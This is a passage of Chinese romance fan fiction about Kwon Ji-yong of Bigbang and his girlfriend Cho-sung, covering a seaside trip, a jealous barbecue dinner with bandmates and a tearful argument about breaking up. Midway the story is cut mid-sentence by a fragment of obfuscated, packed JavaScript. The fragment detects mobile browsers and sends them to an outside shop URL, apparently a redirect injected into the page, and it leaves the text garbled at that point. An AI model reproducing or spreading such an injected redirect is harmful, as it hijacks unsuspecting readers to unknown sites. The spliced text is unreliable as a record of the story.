“好啊。”她笑着答应,“不过就算像现在这样,坐着公交车,吃着路边小店,和你分一杯饮料,我也觉得很开心,很幸福。” 日落时分,他们又回到了那片沙滩。这一次,他们只是安静地并肩坐着,看着夕阳一点点沉入海平面,将天空染成绚丽的油画。谁也没有说话,只是手指紧紧交缠着,感受着彼此手心的温度和海浪永恒的节拍。 夜幕完全降临后,他们没有再去热闹的市场,而是在民宿附近的一家商品琳琅满目的小超市里,仔细挑选了两人都喜欢的海鲜口味拉面、几颗新鲜的鸡蛋、一包鱼糕串和一大瓶冰镇橙汁。 回到温馨的民宿套间,至龙自告奋勇,要展示他“苦练多年”的煮拉面技术。初星则盘腿坐在客厅那张柔软的小地毯上,背靠着沙发,托着腮,看着他在开放式的小厨房里忙碌的背影——他笨拙地磕着鸡蛋,试图打出完美的溏心蛋,小心翼翼地用量杯控制着水量,嘴里还念念有词地回忆着“先放面饼还是先放调料包”的步骤,表情认真得像是在完成一项关乎生死存亡的重要任务。 最终端上小茶几的两碗拉面,卖相有些普通,但热气腾腾,浓郁的汤香弥漫在整个房间,充满了温暖的、令人安心的烟火气息。他们并肩坐在地毯上,膝盖亲昵地碰着膝盖,分享着这简单却格外美味的一餐。至龙记得她之前随口提过喜欢吃溏心蛋黄,用勺子也把自己碗里的鸡蛋完整地舀了出来,放到了她的面汤里。 深夜,套间隔壁房间的灯早已熄灭,只有窗外远处隐约传来的海浪声。至龙却还毫无睡意,他靠在床头,没有开大灯,只有手机屏幕发出的、柔和的光亮幽幽地映在他年轻而轮廓分明的脸上。 屏幕上,是傍晚时分他在栈道上偷拍的那张照片——初星闻声回眸,海风恰到好处地拂起她几缕乌黑的发丝,背景是波光粼粼的、一望无际的蔚蓝大海和天际边绚烂的夕阳余晖,而她那双明亮的、像漫天星辰的眼睛正含着浅浅的笑意望向他。 他的指尖轻轻划过屏幕上那双带笑的、弯弯的眼睛,白天的画面一帧帧在脑海里清晰地回放:她穿着那件简单的白裙,像夏日精灵般走向他的样子;她坐在公交车靠窗位置,被阳光镀上金边的侧脸;她被辣味海鲜面呛出眼泪时皱着鼻子、用手扇风的可爱模样;她看着夕阳时,恬静而美好的侧脸轮廓上那层柔光;还有她坐在地毯上,小口吃着他煮的拉面时,那满足而信任的眼神…… 寂静的、只有海浪声的夜里,一种无比确切而温暖的认知,像慢慢化开的蜂蜜,在他心底蔓延开来,浸润了每一个角落。 [看到你漂亮的眼睛能一直笑也是我幸福的一种。] 不需要多么波澜壮阔的誓言,不需要多么奢侈的物质条件,就这样静静地陪伴在她身边,看着她因为简单的快乐而开心,感受着彼此的呼吸在同一片天空下,分享着日常的点点滴滴,对他而言,就是世界上最踏实、最珍贵、最让他心满意足的幸福。 他将手机轻轻贴在胸口,仿佛能透过冰凉的屏幕感受到照片里那份阳光的温度和她的笑意。嘴角不自觉地扬起同样的温柔弧度,他这才心满意足地闭上眼睛,沉入了一个有着舒缓海浪声和她甜美笑眼的、宁静而美好的梦乡。 而隔壁房间,初星似乎心有所感,在睡梦中无意识地翻了个身,嘴角也带着安心的笑意,仿佛也沉浸在一个同样甜蜜的梦境里。 45.烤肉店的初见 初星推开那家烤肉店包厢门时,门楣上悬挂的铜制风铃发出了“叮铃”一声清脆悦耳的声响,打破了室内略显嘈杂的喧闹。她立刻捕捉到了那个即使在人群中也能让她一眼认出的、熟悉却又因短暂分别而染上一丝陌生感的至龙。 两个多月的密集练习和出道前冲刺,在他身上留下了些许痕迹。他瘦了一些,明显的婴儿肥消退了点,但还是包子脸,眉宇间带着疲惫,但那双总是闪烁着灵动的眼睛,在看到她推门而入,便倏然亮起璀璨的光彩,嘴角也不受控制地扬起灿烂的弧度,驱散了那点微妙的生疏感。 至龙站起身,动作快得带起一阵微风,绕过桌角迎上前,牵起她的手,指尖带着练习后尚未完全褪去的温热,轻轻握了了握,仿佛在确认她的真实存在。“来了?路上堵不堵?好想你啊~”他低声问,声音里带着显而易见的亲昵和思念,手指在她柔软的手心里暗示性地轻轻捏了一下,才转向他那群瞬间安静下来、带着好奇和善笑意看向这边的队友们。 “呀,都安静点,别吓到人。”至龙嘴上这么说着,语气里却藏着一丝不易察觉的、类似于“看,这就是我的女孩”的骄傲与炫耀。他轻轻揽过初星的肩膀,将她带近一些,目光扫过桌前的面孔,“娜比,来,给你正式介绍一下我们队里这些家伙。” 他的目光先投向桌对面两个早已熟悉的身影。永裴立刻露出他那标志性的、如同冬日暖阳般灿烂而毫无阴霾的笑容,热情地挥了挥手,眼神温和;胜铉则依旧维持着他那副慵懒的姿态,向后靠在舒适的椅背里,嘴角噙着一抹了然又带着点玩味的浅笑,冲初星点了点头,一切尽在不言中。 “这两个就不用多介绍了吧?从小一起摸爬滚打过来的。”至龙笑着说,语气里充满了对兄弟的信任和亲昵。初星也回以微笑,对永裴和胜铉点了点头,彼此之间流动着一种无需多言的默契。 接着,至龙的手在初星肩上轻轻拍了拍,转向坐在永裴旁边一个看起来有些憨厚、笑容腼腆和局促的男生。“这位是姜大声,”至龙介绍道,“我们的主唱,声音爆发力很强哦,肺活量惊人。” “你好,我是姜大声。”大声连忙站起身,有些拘谨地鞠躬问候,脸上带着朴实的笑容。 “你好,大声xi,我是裴初星。”初星也赶紧礼貌地回礼。她注意到大声有些紧张,主动找了个轻松的话题,“听说大声xi是1989年生的?” “啊,是的!”大声点点头有些意外。 “真的?我也是1989年!”初星眼睛一亮,流露出惊喜,语气也变得轻快,“那我们应该是同岁亲故吧?很有缘呢!以后就直接叫我初星就好了,不用太客气。” 大声闻言,却带着点习惯性的谨慎,飞快地瞟了一眼旁边的至龙,眼神里带着一丝微弱的询问和不确定。 初星将他的小动作尽收眼底,忍不住笑了出来,她摆摆手,“没事,不用管他怎么看,就这么说定了。” 至龙无奈地笑着摇了摇头,那仍带点婴儿肥的脸颊随着摇头的动作微微晃动,却没反驳,算是默认了。 大声这才松了口气,笑容变得自然了许多,声音也洪亮了些:“内!初星!” 最后,至龙的目光投向坐在最里边、一个眼神灵活、看起来就非常机灵的男生。“这位是李昇炫,”至龙带着点对忙内特有的、混合着纵容和调侃的意味,“我们都叫他胜利,队里的忙内,年纪最小,但野心和想法可不少。” “你好,怒那!我是胜利!”胜利立刻像弹簧一样站起来,声音充满活力,笑容格外明亮灿烂,带着年轻人特有的热情,“终于见到你了,至龙哥可是经常……”他的话被至龙一声故意加重了的、带着警告意味的咳嗽打断了。 初星被他的活力和直率感染,也笑着回应:“你好,胜利xi。很高兴认识你。”她想了想,带着点好奇顺着刚才的话题问:“胜利xi是……?” “我是90年12月12日的!”胜利飞快地回答。 “啊!”初星惊讶地睁大眼睛,用手掩了下嘴,“我是12月13日的!我们只差一天!这也太巧了!” “真的吗?!!”胜利也惊讶地叫了出来,脸上写满了不可思议的惊喜,几乎要手舞足蹈,“太神奇了!怒那!这简直是命中注定的缘分啊!我们以后一定要多聊聊!”他兴奋的样子引得大家都笑了起来。 三人刚开始聊起来,包厢的门再次被拉开。 一个身影出现在门口,仿佛自带聚光灯效果,让包厢内的喧嚣安静了几分。 来人身形高挑挺拔,肩膀宽阔平直,仪态极佳。五官俊朗立体,鼻梁高挺如峰,下颌线条清晰利落,像是被技艺最精湛的匠人精心雕刻过一般。他微微颔首,目光在包厢内淡淡扫过,最终落在至龙和胜铉身上,嘴角牵起一个带着熟稔意味的笑容。 初星望过去,她自认见过不少外貌出众的人,比如至龙的队友崔胜铉,就气定神闲地坐在对面。但眼前这个男人依然让她的目光停留了片刻。如果说胜铉的帅是带着一种不羁的、带有侵略性的雕塑感,那么眼前这个男人的好看就是另一种极致的、偏向精致冷峻的雕刻,眉宇间带着贵气和疏离感,冲击力十足。 “洙赫!这边!”至龙用力拍了拍自己旁边的空位。对面的胜铉也懒洋洋地抬手打了个招呼:“呀,李洙赫,来得真晚,肉都快被这群小子抢光了。” 李洙赫笑着朝胜铉点了点头,熟络地在至龙身边坐下,随意地用手肘碰了一下至龙的胳膊,“路上有点堵。我都要饿死了。” 至龙正准备给初星介绍,一转头,却恰好捕捉到她看向李洙赫时,眼中那毫不掩饰的欣赏。 他脸上的笑容变得有些微妙,嘴角还扬着,但眼神里已经漫上了一点软乎乎的委屈。他先是看初星那还没来得及收回的、亮晶晶看着洙赫的眼睛,又侧过头看身边这位精致得过分的挚友,最后目光重新落回初星脸上。 他身体倾向她,拉了拉她的衣袖,语调里带着点黏糊的鼻音和再明显不过的醋意: “呀……” 他拖长了尾音,用眼神无声地谴责着她的“移情别恋”,“……只看他就够了?我在这里呢……” 初星被他一拉,回过神。对上他那写满了“委屈”和“求关注”的眼睛,眨了眨眼,又飞快地扫过李洙赫完美的侧脸,才重新看向至龙,故意赞叹道:“可是…他真的很好看嘛,那种气质很特别诶……” 至龙的眼睛睁得更圆了,嘴唇微张,似乎想说什么,最后只是更用力地揪了揪她的袖子,发出了一个呜咽的气音:“……哼。” 至龙正式介绍,但那股小委屈还没散,声音都带着点闷闷的:“初星,这是李洙赫,我特别亲的朋友,像家人一样的。”随后转向洙赫,带了点“这是我的宝贝,你注意点”的微妙炫耀意味:“洙赫,这是我女朋友,裴初星。” “你好,洙赫欧巴。”初星赶紧礼貌地问好,瞬间恢复了乖巧模样。 李洙赫闻言,深邃的目光温和地转向初星,礼貌地微微颔首,声音低沉而有磁性:“你好,初星。常听至龙提起你。” 等洙赫和胜铉说话时,至龙又凑近初星,环视了一下,身旁是贵气精致的李洙赫,对面是硬朗帅气的崔胜铉。他扁着嘴,把下巴轻搁在初星肩膀上,用只有两人能听到的气声嘟囔,“哇,今天真是……左边一个雕刻美男,对面一个雕刻美男……我们娜比的眼睛,是不是都快看不过来了?还记得我是谁吗?” 初星感受着肩头上传来的重量和耳边撩人的热气,心里笑得快要打滚,但脸上却故作认真地思考状,转过头,鼻尖几乎要碰到他的鼻尖,用同样小的气声,慢悠悠地投下了一颗“重磅炸弹”: “嗯…是都很帅呢,各有千秋。不过嘛……”她故意停顿了一下,欣赏着至龙紧张起来的表情,才继续慢条斯理地说:“比起雕刻美男…果然还是李叙夏那种清爽校园型的更让我心动啊?嗯……你懂的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720849|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >至龙整个人石化在原地,那双眼睛里情绪剧烈翻涌,从震惊到委屈,再到一点不敢置信的受伤,最后全部凝结成巨大的控诉,直勾勾地瞪着初星。他仿佛被那句“李叙夏”和“心动”的组合拳打得措手不及,连撒娇吃醋都忘了,只剩下纯然的懵和酸。 他嘴唇翕动了几下,好半天,才从喉咙深处挤出一点微弱又沙哑的气声:“……你……” 却再也说不下去,只是用那种“你怎么可以这样对我”的眼神看着她。 初星看着他这副委屈得快实质化的模样,心里那点小心思得到了极大的满足,但同时又有点心软。她强忍着笑,伸出食指,轻轻戳了戳他僵住的脸颊:“干嘛呀?开玩笑的嘛。” 至龙不为所动,依旧用被抛弃的眼神看着她。 烤盘上发出一阵诱人的“滋滋”声——肥瘦相间、纹理漂亮的五花肉被烤得恰到好处,边缘微焦卷曲,正欢快地冒着晶莹的油花,香气四溢。 至龙默默地拿起手边的夹子,动作带着点赌气的、略显用力的意味,却精准无比地夹起了那块烤得最完美的肉。 他没有看她,嘴唇抿得紧紧的,下颌线也绷得紧紧的,但手上的动作却细致无比,拿过一片新鲜的紫苏叶,铺上温热的米饭,放上那块蘸好了她最喜欢的酱料的肉,又加了一点她偏爱的辣椒酱和几根新鲜的葱丝,习惯性地避开了烤盘上所有的西葫芦和金针菇——然后动作略显粗鲁地、却又无比熟练地包成一个精致的小包裹,直接递到了她的嘴边。 全程一言不发,但每个步骤都透露出“我生气了、我吃醋了、我委屈死了,但我还是得把你照顾好、不能让你饿着”的别扭,以及“你讨厌什么、喜欢什么、口味轻重我都记得一清二楚”的了解。 初星看着递到嘴边的食物,又看看他,心里那点最后的小得意也化成了潺潺的暖流。顺从地张嘴,就着他的手咬了一口。 咀嚼了几下,鲜美的味道在口中蔓延开。她抬眼看他。他还故意扭着头,盯着烤盘上其他食物,睫毛低垂着,一副“我还在生气但我在等你来哄”的倔强架势。 初星的心软得一塌糊涂。 她飞快地瞥了一眼对面——其他人都各自聊着天,似乎没人注意他们这边角落的微妙气氛。 机会来了。 她迅速凑过去,柔软的双唇飞快地在他绷紧的侧脸颊上印下一个带着烤肉香气的吻。 “啾。”一声轻响。 至龙猛地一颤,手里的夹子“哐当”一声轻敲在烤盘边缘。他倏地转过头来,脸上那点强装的郁闷和醋意以肉眼可见的速度冰消雪融,耳根迅速漫上红色,嘴角想要上扬,又拼命想忍住,表情看起来有点滑稽的扭曲。 “……呀,”他声音里的硬邦邦和委屈彻底消失了,只剩下羞涩和惊喜,“偷袭啊……坏蛋……” 话是这么说,可他眼里重新漾起了光,哪里还有半分不高兴的样子,还抬起手,用指尖轻轻碰了碰刚刚被亲到、还残留着一点柔软触感和温热的地方。 “还吃吗?”他清了清嗓子,试图找回一点刚才失去的“气场”,但声音已经彻底柔和下来,像融化的巧克力,带着黏糊糊的甜意。手里的夹子也变得轻快起来,夹起一片烤得嫩滑的韩牛,放到她面前的小碟子里。 初星看着他瞬间从“阴雨绵绵”切换到“阳光灿烂”的脸,心里偷笑,脸上却装作无事发生,只是点点头,“嗯,还要肉,刚才那个好吃。” “好。”至龙应着,又给她夹了一片,眼角眉梢都舒展开来,那点因为“李叙夏”而起的风波,早已被一个亲吻熨帖得平平整整。 对面,胜铉懒洋洋地拿起饮料和旁边的永裴碰了一下,交换了一个“这就哄好了?也太好搞定了吧?”的眼神。永裴笑着摇摇头,用口型无声地说:“没出息。” 两人都心照不宣地露出了然的笑意。 烤肉的烟雾依旧袅袅升起,包厢里弥漫着肉香和一种甜腻的、只属于那两人的暧昧气息。 46.无声的习惯 初星心满意足地咽下最后一口肉,放松地靠向椅背,沉浸在男人们的谈话氛围中。至龙、胜铉和洙赫正聊着练习室里的趣事和共同朋友的近况,那些带着汗水和梦想的琐碎日常,经由他们的视角讲述出来,格外生动有趣。 至龙看到初星吃完,一边接过胜铉的话头,延续着关于某个编舞老师严格到“变态”的笑谈,一边没有任何停顿地,拿起了桌上那叠温热的湿毛巾,捉过了初星随意搭在桌沿、还带着些许油光的手。 初星只是下意识地顺从了他的动作,指尖微动,任由他握住,依旧专注地听着男人们聊天,听到精彩处时,眼眸亮起愉悦的光彩。 至龙侧过身低着头,目光专注地落在掌中那只白皙纤巧的手上。他用温热的毛巾,仔细地擦拭着她的每一根手指,从圆润的指尖到敏感的指缝,连指甲边缘那些最容易藏污纳垢的细微处都温柔地照顾到。擦完一只手,他又换另一只,全程,他偶尔会抬起来,看向正在说话的朋友,嘴角带着笑,适时地插上一两句评论,参与着对话,但手上的动作却丝毫没有受到影响。 而这看似平常的一幕落在几位旁观者眼中,却激起了迥异的波澜。 姜大声和李胜利几乎是同步动作地瞪大了眼睛,嘴巴微微张开,形成一个惊讶的“O”型,连手里夹着肉的筷子都忘了往嘴里送,一眨不眨地盯着他们那位在练习室里以要求严苛、说一不二、追求完美到极致的队长。此刻,这位队长正低着头,专注又柔和地给恋人擦着手,每一个动作都透露出小心翼翼的珍视。 胜利最先反应过来,捅了捅旁边永裴的胳膊,“哇,永裴哥……我知道至龙哥谈恋爱后变了很多……但亲眼看到……原来是这样的吗?” 他虽然也在练习室见过初星几次,知道至龙哥对她极为上心,但亲眼目睹这种“伺候”般的照顾场面,还是让他幼小的心灵受到了深深的震撼。 大声压低声音,语气里充满了梦幻般的震惊和茫然:“……莫呀?这……这真的是我认识的那个至龙哥?那个在练习室里会因为一个动作不到位而让我们重复练习到凌晨的队长?” 在他固有的印象里,至龙哥虽然是体贴的兄长,但更多时候是被成员们和工作人员照顾着的重心,如此放下身段去照顾别人,简直是颠覆了他之前的认知。 坐在他们旁边的东永裴看了一眼对面那对沉浸在各自世界里、对周遭反应浑然不觉的恋人,眼神仿佛在看一场早已预演过无数次的温馨剧目。他侧过头,对两位震惊得快要石化的弟弟低声说道,“嗯。因为是初星啊。” 他顿了顿,脑海中闪过至龙曾经为初星辗转反侧、患得患失、一度情绪低落到影响练习的那些日子,声音里不禁带上了一丝感慨:“他等这一天,等了太久,也付出了太多。现在能看到他这样……挺好的。” 大声听到永裴这句简短的解释,猛地一愣。脸上的震惊,开始慢慢转化,先是困惑,继而是一种豁然开朗的醒悟,最后沉淀为深深的触动和理解。他看着至龙哥那副全心全意、仿佛擦拭女友的手是世界上最重要事情的专注模样,再看向初星时,眼神里多了份理解和尊重。 崔胜铉原本懒洋洋地晃着酒杯,眯着眼睛品味着烧酒的醇香,余光扫到大声和胜利那副没见过世面的样子(现在大声似乎已经“悟道”,而胜利还处于懵圈状态),慢悠悠地转过头。他脸上带着看透了权至龙本质的淡然表情,懒懒地插话,“呀……没事…以后看多了就习惯了。” 而第一次亲眼见到挚友私下与女友相处模式的李洙赫,虽然脸上保持着惯有的优雅与淡定,但他那双深邃的眼眸中,却掠过一丝讶异,他早就知道至龙陷得很深——毕竟这家伙每次和他见面,十句话里有七句都不离“我家初星今天……”、“我女朋友说……”、“我老婆怎么怎么样”,黏糊又炫耀,听得他耳朵都快起茧子,一度怀疑至龙是不是被什么奇怪的东西附体了。本以为那只是热恋期过度夸张的甜蜜轰炸。 但直到此刻,亲眼看到至龙这种自然而然的照顾,看到他那份即使在与朋友谈笑风生时,注意力也永远分出一半牢牢系在初星身上的专注,以及初星对此全然接纳、视为理所当然的默契,洙赫才真切地感受到:权至龙对裴初星,这不是简单的恋爱上身、一时激情,这是彻彻底底地把自己交付了出去,爱得远比他平时那些腻死人的念叨还要厚重得多。 初星后知后觉地感受到对面投来的复杂的目光。她疑惑地抬眼望去,清澈的目光正好对上大声(已经变为理解和祝福)和胜利(依旧残留着震惊与好奇)的视线。她微微一怔,长长的睫毛眨了眨,脸上写满了茫然,完全不明白他们为什么突然都盯着自己看。 而至龙,则顺着她疑惑的目光看去,看到两位弟弟神色各异,只是挑了下眉毛,眼神里带着点“看什么看?我女朋友!没见过谈恋爱?”的理所当然,随即又得意地弯了弯嘴角,手臂环过初星的肩膀,将她更亲密地拉近自己身边,无声的宣告着主权。 他这番带着占有欲的动作,让胜利再次在心里倒抽一口冷气,对队长的“堕落”有了新的认识;而大声则露出了一个更加温和的微笑,彻底接受了这个设定。 ‘完了,队长这么年轻就被吃定了,没救了。’——这是李胜利的心声,带着点恨铁不成钢的惋惜,又夹杂着不可思议的惊叹。 ‘真好,至龙哥得偿所愿,找到了他愿意如此付出的那个人。’——这是姜大声的心声,充满了温暖和感动。 聚会终于在欢声笑语中结束。大家互相道别,至龙牵起初星的手,十指紧密相扣,掌心传递着彼此的温度,慢慢朝着公交车站的方向走去。夜晚的空气带着初夏的微凉,路灯昏黄的光晕将两人的影子交织在一起。 初星轻轻晃着两人交握的手,脑子里还在回味刚才听到的、关于至龙练习中的一些糗事和成员间的趣闻,嘴角不自觉地上扬。但崔胜铉今晚比以往沉默不少的样子从她脑海中闪过。她侧过头,仰起脸,看着至龙被路灯柔和光晕勾勒出的侧脸轮廓,轻声问道,“至龙啊,胜铉欧巴今天……是不是心情不太好?比以往好像要沉闷很多,话也少了不少。” 至龙低头看了她一眼,眼底复杂的情绪,捏了捏她柔软的手心:“嗯。是啊。因为马上就要正式出道了,公司和家里都给了一些压力,事情很多……而且,胜铉哥……前几天分手了。” “啊?”初星脚步没停,脸上却瞬间被一片纯粹的茫然所覆盖。她的思维卡顿了一下,信息处理出现了短暂的延迟。“出道”和“分手”这两个词语,在她脑海里简单粗暴地碰撞了一下,产生了一个毫无逻辑但直接冒出来的联想。 她仰着脸,眼神有些放空地看着至龙,带着点懵懂和纯粹的不解,脱口而出地问道: “……啊?……那……那我们是不是……也要分手了?” 话音刚落,至龙停住了脚步,握着初星的手瞬间收紧,力道大得让她指骨微微发痛,但他自己似乎毫无察觉。 他没有像往常被逗弄时那样炸毛或者大声反驳,反而是深深地低下头,肩膀微微垮塌下来,努力消化这句对他来说无异于晴天霹雳的话。 几秒钟死寂般的沉默后,至龙抬起头。初星惊愕地发现,他的眼圈竟然红了,眼底氤氲着水汽,在路灯下闪着委屈又脆弱的光泽。 “裴初星……” 他的声音不像吼,更像是一种带着浓重哭腔的、极力压抑着的破碎控诉,沙哑得厉害,“你……你怎么能……问出这种话……” 他吸了吸鼻子,努力想把那不断上涌的酸楚和眼泪憋回去,“不准……绝对不准分手!你想都不要想!!” 这句话他说得异常用力,每个字都像是从齿缝里艰难地挤出来的,带着坚决和恐惧,但因为强烈哽咽的冲击,那股试图表现出来的“凶狠”劲儿大打折扣,最终只剩下几乎要溢出来的委屈和深入骨髓的害怕。 初星完全愣住了,她万万没想过他恐慌到哭出来了。“至龙……”她轻声唤他,声音里充满了歉意和心疼,自己一句无心的话却触碰到了他最敏感的神经。 她伸出双手,温柔地捧住他低垂的脸颊,指尖带着怜惜,轻轻擦过他湿润的眼角。至龙没有抗拒,顺从地低下头,将脸颊更深地埋进她微凉的掌心,任由她捧着自己的脸,只是那双泛红的眼睛依旧执拗地看着她,带着还未散去的惊悸和伤心。 初星踮起脚尖,轻柔地、一下一下地、充满安抚意味地亲吻他。 她先吻了他沁着凉意的额头,然后是不停颤动的眼睫,吻去那点咸涩的湿意,接着是泛红的鼻尖,微微发烫的脸颊,最后,轻轻地覆上他紧抿的嘴唇。 “是我不好……”她一边亲,一边在他唇边低声呢喃,“我不该乱说的,是我错了,对不起……” “我们不分手,永远都不分。”又一个轻吻落下,印在他的唇角,“不会不要你的,永远不会。” “至龙别难过……”再一下亲吻,落在他的脸颊,“我以后再也不说这种话了好不好?” 至龙僵硬的身体在她的攻势下慢慢放松下来,那纸老虎般的凶狠彻底瓦解,只剩下全然的依赖和被她抚慰后的柔软与委屈。他闭上眼睛,长睫湿漉漉地垂下,感受着她细碎而温暖的亲吻和充满歉意的软语,喉咙里的哽咽渐渐平息,化为细微的抽气声,只是手臂依旧紧紧地环着她的腰,将她死死地锁在怀里,仿佛一松手她就会消失。 过了好一会儿,他才闷闷地“嗯”了一声,把头深深地埋进她的颈窝,依赖地蹭了蹭,像是在汲取她身上的温暖和令人安心的气息,确认她的存在。 两人静静相拥了一会儿,夜晚的微风吹拂着,稍稍驱散了些许刚才激烈的情绪。初星想起这个话题的起源,轻声感慨道:“难怪……胜铉欧巴好像又清减了些……” 她歪着头回想了一下崔胜铉今晚格外清晰锋利的下颌线,以及他更添冷峻气质的侧脸,诚实地补充了一句,“……不过,瘦了之后也更帅了?有种……嗯……忧郁艺术家的独特气质。” 至龙环在初星腰上的手臂骤然收紧了一下,埋在她颈窝处的他突然抬起头,眼睛眯了眯,闪过一抹强烈的不爽和翻涌的醋意,刚才的委屈被新的危机感取代。 他毫无预警地低头,隔着初星身上那层薄薄的棉质衣料,在她的肩头不轻不重地亲咬了一下,带着点惩罚的意味。 “唔!” 初星猝不及防,轻呼出声,倒不是很疼,更多的是惊讶和痒意。 至龙咬了一下便松开口,他看着她惊讶中带着点无辜的表情,撇着嘴:“娜比!我刚缓过来一点,你就又开始气我?当着我的面说别的男人帅?嗯?是我刚才咬得太轻了,没让你长记性?” 虽然他语气里努力装出威胁的味道,但配上那双像兔子一样的眼睛和委屈巴巴的表情,实在没有什么威慑力。 初星低头看了看自己的肩头,又抬头看看他那一副“我吃醋我有理”、“你必须只看着我”的霸道样子,“报复”的小心思又冒了出来。 “权至龙!你是属小狗的吗?还学会咬人了!” 她说着,立刻伸出双手,扒开他一侧的衣领,低头就照着肩膀处裸露的皮肉,结实地咬了下去! “嘶——啊!” 至龙猝不及防,疼得身体猛地一僵,倒抽了一口冷气。初星这一下可是带了点“报复”心理的,牙齿陷进皮肉里,带来清晰尖锐的痛感。 然而,在那阵短暂的疼痛过去后,一种隐秘的兴奋感和占有欲被满足的踏实感,迅速从被咬的地方窜起传遍全身,奇异地盖过了那点不适。他心里涌起一阵标记般的归属感。他甚至阴暗地希望这个牙印能留得久一点,再深一点,成为她在他身上留下的、独属于她的印记。 初星松开口,看到他肩膀上清晰的牙印,边缘泛着血丝,这才意识到自己好像用力过猛了。她有点心虚地抬头,却撞进至龙亮得异常、闪烁着复杂光芒的眼睛里。 “哼!知道错了吧!看你还敢不敢随便咬人!”她强装镇定,凶巴巴地说,试图掩饰自己那点心虚。 至龙抬手抚过肩膀上那个新鲜的印记,嘴角勾起一抹带着痛感却异常满足的笑容。他把她重新用力拉进怀里,下巴亲昵地抵着她的发顶,“嗯…不敢了…不过…” 他顿了顿,声音压低,带着点撒娇和无赖的意味,热气喷在她的发间,“…这个…是娜比留下的…我喜欢。” 初星被他的反应弄得哭笑不得,心里那点愧疚瞬间被这家伙的“甘之如饴”打败了。她没好气地抬手捶了一下他的后背:“权至龙你真是……变态!” “嗯,”至龙从善如流地承认,笑得像只偷腥成功的猫,紧紧搂着她,仿佛拥抱着全世界,“娜比得对我负责一辈子才行。” …… 另一边,Bigbang的几位成员也正三三两两地朝着宿舍的方向走去。街道只剩下他们错落的脚步声和偶尔从远处传来的车辆驶过的声音。 胜利走在永裴和大声中间,脑子里还在像放电影一样回放着刚才烤肉店里的画面,以及两人之间那种旁若无人的亲密氛围。他忍不住咂了咂嘴,发自内心地感叹道:“哇……至龙哥和初星怒那的感情……真是好到让人羡慕啊。” 他说着,又联想到崔胜铉的情况,好奇心压过了感叹,担忧和八卦之心同时升起。 他凑近永裴,“不过,永裴哥,胜铉哥这次……不就是因为要出道了,公司和家里给的压力太大,实在没办法才和女朋友分手的吗?” 语气变得有些迟疑和困惑,声音也更低了,“那……至龙哥和初星怒那这样……公司那边……真的没问题吗?我们马上就要出道了,公司不会……也要求至龙哥分手吗?” 跟在旁边的姜大声也听到了这话染上了同样的忧虑。他回想起刚才聚餐时,至龙哥那眼神时刻追随的专注、低声附和道:“是啊……至龙哥他……那个样子……看起来是绝对不可能放手的。如果公司真的下了命令……那该怎么办啊?” 走在前面的崔胜铉,背影在路灯下拉得细长,他的脚步几不可察地顿了一下,但没有回头,只是背影显得更加沉默了些,透着难以言说的落寞。 永裴听着弟弟们充满忧虑的提问,平静地抛出一个事实:“社长nim……其实已经找至龙谈过好几次了。” “莫?!(什么?)” 胜利和大声惊呼出声,心脏都提到了嗓子眼,最担心的事情果然发生了!社长果然已经出面干预了! 永裴想起至龙那次从社长办公室出来后,虽然眼睛红肿,眼神却异常坚定对自己说“永裴啊,我什么都能答应公司,什么苦都能吃,只有初星绝对不行”的样子,嘴角泛起一丝无奈的弧度,那无奈中又有些佩服。 “他啊……”永裴摇了摇头,“在社长面前连迂回都没有,直接就是一副‘如果要我分手,那出道对我来说也没什么意义了,我可能会死掉的’的架势。” 他模仿着至龙当时那种执拗又绝望的语气。 “……”胜利和大声瞬间哑然,张着嘴,却说不出话来。 “而且,”永裴继续道,语气笃定了些,带着对至龙的信任,“他也跟社长反复保 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胜利和大声听完,面面相觑,一时都不知道该说什么好。一方面,他们为至龙哥能顶住压力、守住爱情而暗暗松了口气;另一方面,又觉得这操作非常“权至龙”——极端、冒险、不按常理出牌,带着艺术家特有的疯狂与偏执,却又有效地达到了目的。 “果然……不愧是至龙哥啊……”胜利喃喃地说道,带着由衷的佩服和后怕。但他年轻而活跃的思维很快又燃起了新的好奇心,拽着永裴的胳膊追问:“不过永裴哥!至龙哥到底是怎么追到初星怒那的?初星怒那看起来……嗯……”他努力寻找合适的词语,“……漂亮是超级漂亮,但气质有点清冷,好像不是那么容易接近的人啊?” 他回想起初星那双清亮透彻、不说话时显得格外疏离和直接的眼神,觉得至龙哥能攻克这座“喜马拉雅”级别的冰山,简直是创造了奇迹。 永裴听到这个问题,脑海中即可打开了某个装满珍贵且有趣回忆的盒子,忍不住笑出了声,他摇了摇头,夸张地说:“还能怎么追?死缠烂打,用尽浑身解数,历经九九八十一难,差点把自个儿的小命和魂魄都搭进去呗。” 他看了一眼求知欲旺盛的胜利,和同样竖起耳朵、满脸好奇的大声,决定好好揭一揭好友的老底,满足弟弟们的好奇心:“那家伙,大概在刚升上高中没多久,第一次见到初星的时候,就跟被雷劈了……不,跟丢了魂儿一样,回来就眼神发直地跟我和胜铉哥说,‘我……我好像看到以后要和我结婚的人了。’” 永裴模仿着至龙当时那种梦幻又坚定的语气。 “然后呢然后呢?”胜利迫不及待地追问,眼睛闪闪发光。 “然后?”永裴挑了挑眉,继续模仿着至龙当时那股不达目的誓不罢休的劲儿,“然后就开始了他的‘漫漫追妻路’。每天练习累得跟狗一样,放学第一件事不是回宿舍瘫倒,是跑去各种打听初星喜欢喝什么牌子的牛奶、吃什么口味的零食、哪家甜品店出了新品蛋糕要排长队……他就真的跑去排一两个小时的队,然后算准她隔天放学的时间,气喘吁吁地跑到她学校门口去搞‘偶遇’。” “哇……”大声发出由衷的惊叹,实在难以想象那个在训练后累得直接瘫倒在地板上的至龙哥,背后还有这份惊人的毅力和精力。 “可惜啊,”永裴话锋一转,声音里带着点同情和好笑,“十次‘偶遇’里面有九次,初星根本看都不看他一眼,或者只是出于礼貌点点头,就面无表情地走过去了,留他一个人在原地傻站着。” “后来他好不容易鼓起勇气,精心准备了一番正式表白,”永裴继续说,“结果嘛……毫无悬念地被拒绝了。” “被拒绝了?!真的被拒绝了?!”胜利惊呼,“那至龙哥肯定深受打击,一蹶不振了吧?” 